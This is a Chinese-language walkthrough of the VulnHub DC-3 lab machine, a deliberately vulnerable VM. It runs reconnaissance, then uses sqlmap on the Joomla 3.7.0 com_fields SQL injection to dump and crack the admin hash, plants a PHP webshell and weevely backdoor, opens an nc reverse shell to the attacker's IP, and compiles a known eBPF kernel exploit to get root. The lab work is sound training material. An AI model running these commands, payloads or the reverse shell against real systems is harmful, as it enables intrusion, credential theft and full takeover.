靶机DC-3下载地址:https : //download.vulnhub.com/dc/DC-3.zip
靶机DC-3VMware下载地址:https : //download.vulnhub.com/dc/DC-3VMware.zip
注:开始将DC-3.ova文件导入VMware虚拟机,发现无法获取到靶机IP地址,作者在DC-3靶机下载页面提到可以下载已经搭建好的DC-3VMware,然后导入到VMware中就可以了
描述:从靶机DC-3开始,只有一个最终的flag,只有拿到root权限才可以发现最终的flag
环境:Vmware 15 Pro虚拟机软件
DC-3靶机IP地址:192.168.220.136
Kali的IP地址:192.168.220.131
将靶机DC-3与Kali都以NAT模式连接到网络,查看Kali的IP地址:192.168.220.131
ip addr
使用nmap扫描工具192.168.220.0/24网段,查找存活主机,扫描到DC-3靶机的IP地址为:192.168.220.136
nmap -T4 -sP 192.168.220.0/24 -oN nmap220.sP
对靶机扫描开放的端口,端口范围0-65535,扫描到开放端口为80(http)
nmap -T4 -A 192.168.220.136 -p- -oN nmap136.A
浏览器输入靶机IP地址访问网址http://192.168.220.136
使用网站指纹工具whatweb识别靶机网址使用的web服务、系统版本、CMS系统等
whatweb扫描靶机后发现靶机使用Joomla内容管理系统
whatweb http://192.168.220.136
使用joomscan扫描工具扫描Joomla相关配置内容、坚持已知漏洞等等
扫描后得知Joomla版本3.7.0,管理员登录页面,及一些可以访问的网站目录
joomscan --url http://192.168.220.136
使用searchsploit工具查找Joomla 3.7.0 版本存在的漏洞,发现一个sql注入漏洞
searchsploit Joomla 3.7.0
将sql注入漏洞相关介绍文档保存到本地,并查看相关注入方法
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt jommla-370-sqli.txt
cat Joomla-370-sqli.txt
使用sqlmap自动注入工具对靶机执行sql注入代码
注入查询数据库有哪些,查出5个数据库信息
sqlmap -u "http://192.168.220.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
注入查询当前靶机正在使用的数据库为:joomladb
sqlmap -u "http://192.168.220.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
注入查询joomladb数据库有哪些表,筛选出用户表:#__users
sqlmap -u "http://192.168.220.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
注入查询#__users表有哪些列,共6列
sqlmap -u "http://192.168.220.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
Sql注入查询#__users表的name、password字段,输出信息
sqlmap -u "http://192.168.220.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
获得网站后台登录用户名admin和密码hash值:
admin #用户名
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu #密码hash值
将密文保存到文件Joomla370-136-admin-hash中:
vim Joomla370-136-admin-hash
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
使用john爆破hash值,得到密码:snoopy
john jommla-370-sqli-admin-hash #爆破密码
snoopy #密码
进入后台登录页面,登录:http://192.168.220.136/administrator/
进入以下页面,或直接访问当前文件夹,均可以获取当前文件夹的内容
http://192.168.220.136/templates/beez3/html/
编写一句话脚本,获取shell
http://192.168.220.136/templates/beez3/html/shell.php #shell地址
shell.php #shell文件名
#一句话脚本
Yes #输出文本内容
使用中国蚁剑连接,可以获取终端,因为蚁剑是非持续连接,所以需要反弹shell提权
可以使用weevely 生成可以获取shell的php脚本,上传到靶机
weevely generate 123456 shell.php
# 密码:123456
# 脚本文件名:shell.php
上传shell.php后可以获得shell
weevely http://192.168.220.136/templates/beez3/html/yjh.php 123456
编写反弹shell的PHP代码,,监听1337端口,并执行脚本文件,将反弹靶机shell到kali
nc -lvp 1337 #kali开启1337监听端口
&1|nc 192.168.220.131 1337 >/tmp/f');?>
# 反弹shell到1337端口
反弹shell成功
使用searchsploit工具查找Ubuntu 16.04的提权漏洞,发现一个“拒绝服务漏洞”,可以用来提权
searchsploit ubuntu 16.04
查看漏洞介绍
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu-1604-shell.txt
cat ubuntu-1604-shell.txt
下载exp,将里面的exploit.tar上传,并解压运行
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
unzip 39772.zip #解压29772.zip文件
cd 39772
tar -xvf exploit.tar #解压exploit提权脚本tar包
cd ebpf_mapfd_doubleput_exploit
编译代码,编译时会出现warning,可以忽略
./compile.sh #执行脚本,编译文件
执行代码,进行提权,获取root权限,找到最好的flag.txt
./doubleput #执行提权文件
提权成功,获取到root权限,并发现the-flag.txt文件